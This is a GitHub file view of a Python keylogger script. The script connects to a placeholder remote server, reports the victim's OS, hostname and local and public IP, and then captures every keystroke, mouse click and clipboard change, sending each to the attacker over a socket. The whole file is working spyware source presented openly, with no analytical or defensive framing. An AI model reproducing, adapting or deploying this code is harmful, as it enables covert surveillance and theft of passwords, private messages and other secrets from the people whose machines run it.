-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathkeylogger.py
127 lines (80 loc) · 2.56 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from platform import version, system, machine
from pynput import keyboard, mouse
from pyperclip import paste
from requests import get
import socket
line = []
current_clipboard = ""
caps_lock_count = 0
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(("[IP ADDRESS]", [PORT]))
def get_public_ip():
response = get("https://api.ipify.org?format=json")
data = response.json()
return data["ip"]
def machine_info():
hostname = socket.gethostname()
ip_address = socket.gethostbyname(hostname)
info = f"""Machine: {machine()}
OS: {system()}
Version: {version()}
IP address: {ip_address}
Public IP: {get_public_ip()}"""
process_data(info)
def mouse_click(x, y, button, pressed):
btn = button.name
if btn == 'left' and pressed:
process_data(''.join(line))
line.clear()
def get_clipboard():
global line
global current_clipboard
clipboard = paste()
if clipboard != current_clipboard:
current_clipboard = clipboard
line.append(f" [clipboard] {clipboard} [clipboard] ")
process_data(''.join(line))
line.clear()
else:
pass
def send_data(key):
global line
global caps_lock_count
try:
if key is not None:
get_clipboard()
line.append(key.char)
except AttributeError:
if key == keyboard.Key.enter:
process_data(''.join(line))
line.clear()
elif key == keyboard.Key.space:
line.append(' ')
elif key == keyboard.Key.tab:
line.append(' ')
elif key == keyboard.Key.backspace:
if len(line) > 0:
line.pop()
elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl or key == keyboard.Key.ctrl_r:
pass
elif key == keyboard.Key.caps_lock:
if caps_lock_count == 1:
line.append(" [caps_lock OFF] ")
caps_lock_count = 0
else:
line.append(" [caps_lock ON] ")
caps_lock_count = 1
else:
pass
def process_data(text):
server.send(text.encode())
def main():
machine_info()
mouse_listener = mouse.Listener(on_click=mouse_click)
mouse_listener.start()
keyboard_listener = keyboard.Listener(on_press=send_data)
keyboard_listener.start()
keyboard_listener.join()
if __name__ == "__main__":
main()
server.close()